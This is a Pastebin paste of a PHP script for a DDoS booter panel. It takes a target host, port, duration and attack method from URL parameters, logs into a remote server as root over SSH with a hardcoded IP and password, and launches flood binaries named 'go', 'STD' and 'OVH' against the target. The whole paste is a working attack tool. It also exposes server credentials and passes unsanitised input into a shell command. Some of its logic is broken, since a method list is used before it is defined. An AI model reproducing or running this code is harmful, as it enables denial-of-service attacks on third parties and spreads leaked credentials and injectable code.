Advertisement
Guest User

Untitled

a guest
Jan 18th, 2020
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.09 KB | None | 0 0
  1. <?php
  2. include('Net/SSH2.php');
  3.  
  4. $address = "151.139.31.80";
  5. //Your SSH Port (Don't Touch If You're Not Sure)
  6. $serverPort = 22;
  7. //SSH User (By Default 'root')
  8. $user = "root";
  9. //SSH User's Password
  10. $password = "Imgay123*";
  11.  
  12. if (!function_exists("ssh2_connect")){ die("Please Install PHP-SSH2!"); }
  13. //variables for attack time, target host & port ect.
  14. $time = $_GET["time"];
  15. $method = $_GET["method"];
  16. $host = $_GET["host"];
  17. $port = $_GET["port"];
  18. $threads = $_GET["threads"];
  19. if(empty($time)){die("Please fill in all parameters!");}
  20. if(empty($method)){die("Please fill in all parameters!");}
  21. if(empty($host)){die("Please fill in all parameters!");}
  22. if(empty($port)){die("Please fill in all parameters!");}
  23. if(!in_array($method, $methods)){ die("Invalid Method..."); }
  24. //Customize your methods here, if you do not know what you are doing, please ask someone who does to help you out!
  25. $methods = array("GO", "STD", "OVH");
  26.  
  27. function send(){
  28. global $method;
  29. global $methods;
  30. global $address;
  31. global $port;
  32. global $threads;
  33. global $serverPort;
  34. global $user;
  35. global $password;
  36. global $time;
  37. global $host;
  38.  
  39. $connection = ssh2_connect($address, $serverPort);
  40. if(ssh2_auth_password($connection, $user, $password)){
  41. //set your max attack time here
  42. if($time > 2000){ die("You've Exceeded The Max Time!"); }
  43. if($method == "UDP"){if(ssh2_exec($connection, "screen -dm ./go $host $threads $time")){echo "Attack sent to $host for $time seconds!";}else{die("Ran into a error");}}
  44. if($method == "STD"){if(ssh2_exec($connection, "screen -dm ./STD $host $port $time")){echo "Attack sent to $host:$port for $time seconds using $method!";}else{die("Ran into a error");}}
  45. if($method == "OVH"){if(ssh2_exec($connection, "screen -dm ./OVH $host $port $time")){echo "Attack sent to $host:$port for $time seconds using $method!";}else{die("Ran into a error");}}
  46.  
  47. }else{
  48. die("Could not login to remote server, this may be a error with the login credentials.");
  49. }
  50.  
  51. }
  52. send();
  53.  
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement